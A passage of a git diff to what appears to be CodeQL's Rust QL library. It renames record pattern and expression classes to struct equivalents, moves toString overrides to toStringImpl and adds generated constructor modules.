- * be referenced directly.
- */
-module Impl {
-  private import rust
-  private import PathResolution as PathResolution
-
-  // the following QLdoc is generated: if you need to edit it, do it in the schema file
-  /**
-   * A record pattern. For example:
-   * ```rust
-   * match x {
-   *     Foo { a: 1, b: 2 } => "ok",
-   *     Foo { .. } => "fail",
-   * }
-   * ```
-   */
-  class RecordPat extends Generated::RecordPat {
-    override string toString() { result = this.getPath().toAbbreviatedString() + " {...}" }
-
-    /** Gets the record field that matches the `name` pattern of this pattern. */
-    pragma[nomagic]
-    RecordField getRecordField(string name) {
-      exists(PathResolution::ItemNode i |
-        i = PathResolution::resolvePath(this.getPath()) and
-        name = this.getRecordPatFieldList().getAField().getFieldName()
-      |
-        result.isStructField(i, name) or
-        result.isVariantField(i, name)
-      )
-    }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll
index 4ec593362d95..83f32d892fbb 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/RefExprImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * ```
    */
   class RefExpr extends Generated::RefExpr {
-    override string toString() {
+    override string toStringImpl() {
       result = "&" + concat(int i | | this.getSpecPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RefPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RefPatImpl.qll
index d6b1f4c27092..489b0550d93b 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/RefPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/RefPatImpl.qll
@@ -22,7 +22,7 @@ module Impl {
    * ```
    */
   class RefPat extends Generated::RefPat {
-    override string toString() {
+    override string toStringImpl() {
       result = "&" + concat(int i | | this.getSpecPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll
index ec7d48a4d9d7..e0fd26aae805 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/RestPatImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class RestPat extends Generated::RestPat {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = ".." }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ReturnExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ReturnExprImpl.qll
index 1b632587867e..d18aec8f40da 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ReturnExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ReturnExprImpl.qll
@@ -26,7 +26,9 @@ module Impl {
    * ```
    */
   class ReturnExpr extends Generated::ReturnExpr {
-    override string toString() { result = concat(int i | | this.toStringPart(i), " " order by i) }
+    override string toStringImpl() {
+      result = concat(int i | | this.toStringPart(i), " " order by i)
+    }
 
     private string toStringPart(int index) {
       index = 0 and result = "return"
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprConstructor.qll
new file mode 100644
index 000000000000..b8734d37af9a
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructExpr` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructExpr` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructExpr(Raw::StructExpr id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll
new file mode 100644
index 000000000000..90c771b4896b
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructExprField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructExprField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructExprField(Raw::StructExprField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll
new file mode 100644
index 000000000000..219ec301c854
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldImpl.qll
@@ -0,0 +1,53 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructExprField`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructExprField
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructExprField` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+  private import codeql.rust.elements.internal.PathImpl::Impl as PathImpl
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
+  /**
+   * A field in a struct expression. For example `a: 1` in:
+   * ```rust
+   * Foo { a: 1, b: 2 };
+   * ```
+   */
+  class StructExprField extends Generated::StructExprField {
+    override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) }
+
+    private string toStringPart(int index) {
+      index = 0 and result = this.getIdentifier().getText()
+      or
+      index = 1 and this.hasIdentifier() and result = ": "
+      or
+      index = 2 and
+      result = this.getExpr().toAbbreviatedString()
+    }
+
+    /**
+     * Gets the name of the field. This includes the case when shorthand syntax is used:
+     *
+     * ```rust
+     * Foo {
+     *   a: 1, // field name is `a`
+     *   b     // field name is `b`
+     * }
+     * ```
+     */
+    string getFieldName() {
+      result = this.getIdentifier().getText()
+      or
+      not this.hasIdentifier() and
+      result = this.getExpr().(PathExpr).getPath().(PathImpl::IdentPath).getName()
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll
new file mode 100644
index 000000000000..b25302060413
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructExprFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructExprFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructExprFieldList(Raw::StructExprFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll
new file mode 100644
index 000000000000..c86a488d215d
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll
@@ -0,0 +1,22 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructExprFieldList`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructExprFieldList
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructExprFieldList` and should not
+ * be referenced directly.
+ */
+module Impl {
+  /**
+   * A StructExprFieldList. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class StructExprFieldList extends Generated::StructExprFieldList { }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructExprImpl.qll
new file mode 100644
index 000000000000..4e45ed845bd5
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructExprImpl.qll
@@ -0,0 +1,52 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructExpr`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructExpr
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructExpr` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+  private import codeql.rust.internal.PathResolution as PathResolution
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
+  /**
+   * A struct expression. For example:
+   * ```rust
+   * let first = Foo { a: 1, b: 2 };
+   * let second = Foo { a: 2, ..first };
+   * Foo { a: 1, b: 2 }[2] = 10;
+   * Foo { .. } = second;
+   * ```
+   */
+  class StructExpr extends Generated::StructExpr {
+    override string toStringImpl() { result = this.getPath().toStringImpl() + " {...}" }
+
+    /** Gets the record expression for the field `name`. */
+    pragma[nomagic]
+    StructExprField getFieldExpr(string name) {
+      result = this.getStructExprFieldList().getAField() and
+      name = result.getFieldName()
+    }
+
+    pragma[nomagic]
+    private PathResolution::ItemNode getResolvedPath(string name) {
+      result = PathResolution::resolvePath(this.getPath()) and
+      exists(this.getFieldExpr(name))
+    }
+
+    /** Gets the record field that matches the `name` field of this record expression. */
+    pragma[nomagic]
+    StructField getStructField(string name) {
+      exists(PathResolution::ItemNode i | i = this.getResolvedPath(name) |
+        result.isStructField(i, name) or
+        result.isVariantField(i, name)
+      )
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldConstructor.qll
new file mode 100644
index 000000000000..134ae7017565
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructField(Raw::StructField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll
new file mode 100644
index 000000000000..9b590f0d2183
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldImpl.qll
@@ -0,0 +1,30 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructField`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructField
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructField` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
+  /**
+   * A StructField. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class StructField extends Generated::StructField {
+    /** Holds if this record field is named `name` and belongs to the variant `v`. */
+    predicate isVariantField(Variant v, string name) { this = v.getStructField(name) }
+
+    /** Holds if this record field is named `name` and belongs to the struct `s`. */
+    predicate isStructField(Struct s, string name) { this = s.getStructField(name) }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll
new file mode 100644
index 000000000000..25f426f65ce0
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructFieldList(Raw::StructFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll
new file mode 100644
index 000000000000..8626d38e0580
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructFieldListImpl.qll
@@ -0,0 +1,22 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructFieldList`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructFieldList
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructFieldList` and should not
+ * be referenced directly.
+ */
+module Impl {
+  /**
+   * A field list of a struct expression. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class StructFieldList extends Generated::StructFieldList { }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll
index 23d04a2ffed6..9f8888d3b6e3 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructImpl.qll
@@ -20,17 +20,29 @@ module Impl {
    * ```
    */
   class Struct extends Generated::Struct {
-    override string toString() { result = "struct " + this.getName().getText() }
+    override string toStringImpl() { result = "struct " + this.getName().getText() }
 
     /** Gets the record field named `name`, if any. */
     pragma[nomagic]
-    RecordField getRecordField(string name) {
-      result = this.getFieldList().(RecordFieldList).getAField() and
+    StructField getStructField(string name) {
+      result = this.getFieldList().(StructFieldList).getAField() and
       result.getName().getText() = name
     }
 
     /** Gets the `i`th tuple field, if any. */
     pragma[nomagic]
     TupleField getTupleField(int i) { result = this.getFieldList().(TupleFieldList).getField(i) }
+
+    /** Holds if this struct uses tuple fields. */
+    pragma[nomagic]
+    predicate isTuple() { this.getFieldList() instanceof TupleFieldList }
+
+    /**
+     * Holds if this struct uses record fields.
+     *
+     * Empty structs are considered to use record fields.
+     */
+    pragma[nomagic]
+    predicate isStruct() { not this.isTuple() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatConstructor.qll
new file mode 100644
index 000000000000..dc4f11ab5b52
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructPat` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructPat` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructPat(Raw::StructPat id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll
new file mode 100644
index 000000000000..05a0622c1a69
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructPatField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructPatField` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructPatField(Raw::StructPatField id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll
new file mode 100644
index 000000000000..d569c4a00163
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldImpl.qll
@@ -0,0 +1,52 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructPatField`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructPatField
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructPatField` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
+  /**
+   * A field in a struct pattern. For example `a: 1` in:
+   * ```rust
+   * let Foo { a: 1, b: 2 } = foo;
+   * ```
+   */
+  class StructPatField extends Generated::StructPatField {
+    override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) }
+
+    private string toStringPart(int index) {
+      index = 0 and result = this.getIdentifier().getText()
+      or
+      index = 1 and this.hasIdentifier() and result = ": "
+      or
+      index = 2 and
+      result = this.getPat().toAbbreviatedString()
+    }
+
+    /**
+     * Gets the name of the field. This includes the case when shorthand syntax is used:
+     *
+     * ```rust
+     * match foo {
+     *   Foo { x: a, .. } => ..., // field name is `x`
+     *   Bar { y, .. } => ...     // field name is `y`
+     * }
+     * ```
+     */
+    string getFieldName() {
+      result = this.getIdentifier().getText()
+      or
+      not this.hasIdentifier() and
+      result = this.getPat().(IdentPat).getName().getText()
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll
new file mode 100644
index 000000000000..5632a1295fc9
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `StructPatFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `StructPatFieldList` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructStructPatFieldList(Raw::StructPatFieldList id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll
new file mode 100644
index 000000000000..629406bd118d
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll
@@ -0,0 +1,22 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructPatFieldList`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructPatFieldList
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructPatFieldList` and should not
+ * be referenced directly.
+ */
+module Impl {
+  /**
+   * A StructPatFieldList. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class StructPatFieldList extends Generated::StructPatFieldList { }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/StructPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/StructPatImpl.qll
new file mode 100644
index 000000000000..71d4804e2828
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/StructPatImpl.qll
@@ -0,0 +1,45 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `StructPat`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.StructPat
+
+/**
+ * INTERNAL: This module contains the customizable definition of `StructPat` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+  private import codeql.rust.internal.PathResolution as PathResolution
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
+  /**
+   * A struct pattern. For example:
+   * ```rust
+   * match x {
+   *     Foo { a: 1, b: 2 } => "ok",
+   *     Foo { .. } => "fail",
+   * }
+   * ```
+   */
+  class StructPat extends Generated::StructPat {
+    override string toStringImpl() { result = this.getPath().toAbbreviatedString() + " {...}" }
+
+    pragma[nomagic]
+    private PathResolution::ItemNode getResolvedPath(string name) {
+      result = PathResolution::resolvePath(this.getPath()) and
+      name = this.getStructPatFieldList().getAField().getFieldName()
+    }
+
+    /** Gets the record field that matches the `name` pattern of this pattern. */
+    pragma[nomagic]
+    StructField getStructField(string name) {
+      exists(PathResolution::ItemNode i | i = this.getResolvedPath(name) |
+        result.isStructField(i, name) or
+        result.isVariantField(i, name)
+      )
+    }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/TraitImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TraitImpl.qll
index 564e54e78d64..63a136734652 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/TraitImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/TraitImpl.qll
@@ -25,6 +25,6 @@ module Impl {
    * ```
    */
   class Trait extends Generated::Trait {
-    override string toString() { result = "trait " + this.getName().getText() }
+    override string toStringImpl() { result = "trait " + this.getName().getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/TupleStructPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TupleStructPatImpl.qll
index 37904d4d0035..d7d4f02f81e4 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/TupleStructPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/TupleStructPatImpl.qll
@@ -12,7 +12,7 @@ private import codeql.rust.elements.internal.generated.TupleStructPat
  */
 module Impl {
   private import rust
-  private import PathResolution as PathResolution
+  private import codeql.rust.internal.PathResolution as PathResolution
 
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
@@ -26,7 +26,7 @@ module Impl {
    * ```
    */
   class TupleStructPat extends Generated::TupleStructPat {
-    override string toString() { result = this.getPath().toAbbreviatedString() + "(...)" }
+    override string toStringImpl() { result = this.getPath().toAbbreviatedString() + "(...)" }
 
     pragma[nomagic]
     private PathResolution::ItemNode getResolvedPath(int pos) {
diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll
index e8553da37a0b..916e005f5aeb 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/TypeAliasImpl.qll
@@ -1,4 +1,3 @@
-// generated by codegen, remove this comment if you wish to edit this file
 /**
  * This module provides a hand-modifiable wrapper around the generated class `TypeAlias`.
  *
@@ -12,11 +11,27 @@ private import codeql.rust.elements.internal.generated.TypeAlias
  * be referenced directly.
  */
 module Impl {
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
-   * A TypeAlias. For example:
+   * A type alias. For example:
    * ```rust
-   * todo!()
+   * type Point = (u8, u8);
+   *
+   * trait Trait {
+   *     type Output;
+   * //  ^^^^^^^^^^^
+   * }
    * ```
    */
-  class TypeAlias extends Generated::TypeAlias { }
+  class TypeAlias extends Generated::TypeAlias {
+    override string toStringImpl() { result = concat(int i | | this.toStringPart(i) order by i) }
+
+    private string toStringPart(int index) {
+      index = 0 and result = "type "
+      or
+      index = 1 and result = this.getName().getText()
+      or
+      index = 2 and result = this.getGenericParamList().toAbbreviatedString()
+    }
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll
index f2b36a8c786b..8358afe24296 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll
@@ -11,6 +11,8 @@ private import codeql.rust.elements.internal.generated.TypeParam
  * be referenced directly.
  */
 module Impl {
+  private import rust
+
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * A TypeParam. For example:
@@ -19,8 +21,11 @@ module Impl {
    * ```
    */
   class TypeParam extends Generated::TypeParam {
+    /** Gets the position of this type parameter. */
+    int getPosition() { this = any(GenericParamList l).getTypeParam(result) }
+
     override string toAbbreviatedString() { result = this.getName().getText() }
 
-    override string toString() { result = this.getName().getText() }
+    override string toStringImpl() { result = this.getName().getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnderscoreExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnderscoreExprImpl.qll
index 620a09e8c3d9..5a7a9ae617ca 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/UnderscoreExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/UnderscoreExprImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class UnderscoreExpr extends Generated::UnderscoreExpr {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "_" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll
index 15a793741172..a99b1a7574c1 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class Union extends Generated::Union {
-    override string toString() { result = "union " + this.getName().getText() }
+    override string toStringImpl() { result = "union " + this.getName().getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll
index 3b45ab46439e..5c2567fc3d70 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll
@@ -1,4 +1,3 @@
-// generated by codegen, remove this comment if you wish to edit this file
 /**
  * This module provides a hand-modifiable wrapper around the generated class `Use`.
  *
@@ -12,11 +11,14 @@ private import codeql.rust.elements.internal.generated.Use
  * be referenced directly.
  */
 module Impl {
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * A Use. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class Use extends Generated::Use { }
+  class Use extends Generated::Use {
+    override string toStringImpl() { result = "use " + this.getUseTree() }
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll
index 2820c2ba6d77..ef1be77ef784 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll
@@ -1,4 +1,3 @@
-// generated by codegen, remove this comment if you wish to edit this file
 /**
  * This module provides a hand-modifiable wrapper around the generated class `UseTree`.
  *
@@ -12,6 +11,7 @@ private import codeql.rust.elements.internal.generated.UseTree
  * be referenced directly.
  */
 module Impl {
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * A UseTree. For example:
    * ```rust
@@ -21,5 +21,19 @@ module Impl {
    * use std::collections::{self, HashMap, HashSet};
    * ```
    */
-  class UseTree extends Generated::UseTree { }
+  class UseTree extends Generated::UseTree {
+    override string toStringImpl() {
+      result = strictconcat(int i | | this.toStringPart(i) order by i)
+    }
+
+    private string toStringPart(int index) {
+      result = this.getPath().toStringImpl() and index = 0
+      or
+      result = "::{...}" and this.hasUseTreeList() and index = 1
+      or
+      result = "::*" and this.isGlob() and index = 2
+      or
+      result = " as " + this.getRename().getName().getText() and index = 3
+    }
+  }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll
index 512dd91f0831..88a1b815f6bc 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll
@@ -161,7 +161,7 @@ module Impl {
     }
 
     /** Hold is this variable is mutable. */
-    predicate isMutable() { this.getPat().isMut() }
+    predicate isMutable() { this.getPat().isMut() or this.getSelfParam().isMut() }
 
     /** Hold is this variable is immutable. */
     predicate isImmutable() { not this.isMutable() }
@@ -236,13 +236,11 @@ module Impl {
       this instanceof VariableScope or
       this instanceof VariableAccessCand or
       this instanceof LetStmt or
-      getImmediateChildAndAccessor(this, _, _) instanceof RelevantElement
+      getImmediateChild(this, _) instanceof RelevantElement
     }
 
     pragma[nomagic]
-    private RelevantElement getChild(int index) {
-      result = getImmediateChildAndAccessor(this, index, _)
-    }
+    private RelevantElement getChild(int index) { result = getImmediateChild(this, index) }
 
     pragma[nomagic]
     private RelevantElement getImmediateChildMin(int index) {
@@ -596,7 +594,7 @@ module Impl {
     /** Holds if this access is a capture. */
     predicate isCapture() { this.getEnclosingCfgScope() != v.getEnclosingCfgScope() }
 
-    override string toString() { result = name }
+    override string toStringImpl() { result = name }
 
     override string getAPrimaryQlClass() { result = "VariableAccess" }
   }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll
new file mode 100644
index 000000000000..21ab1f20d4e8
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll
@@ -0,0 +1,16 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `VariantDef`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.VariantDef
+
+/**
+ * INTERNAL: This module contains the customizable definition of `VariantDef` and should not
+ * be referenced directly.
+ */
+module Impl {
+  class VariantDef extends Generated::VariantDef { }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll
index c19da1a760a0..8af1d05edba0 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll
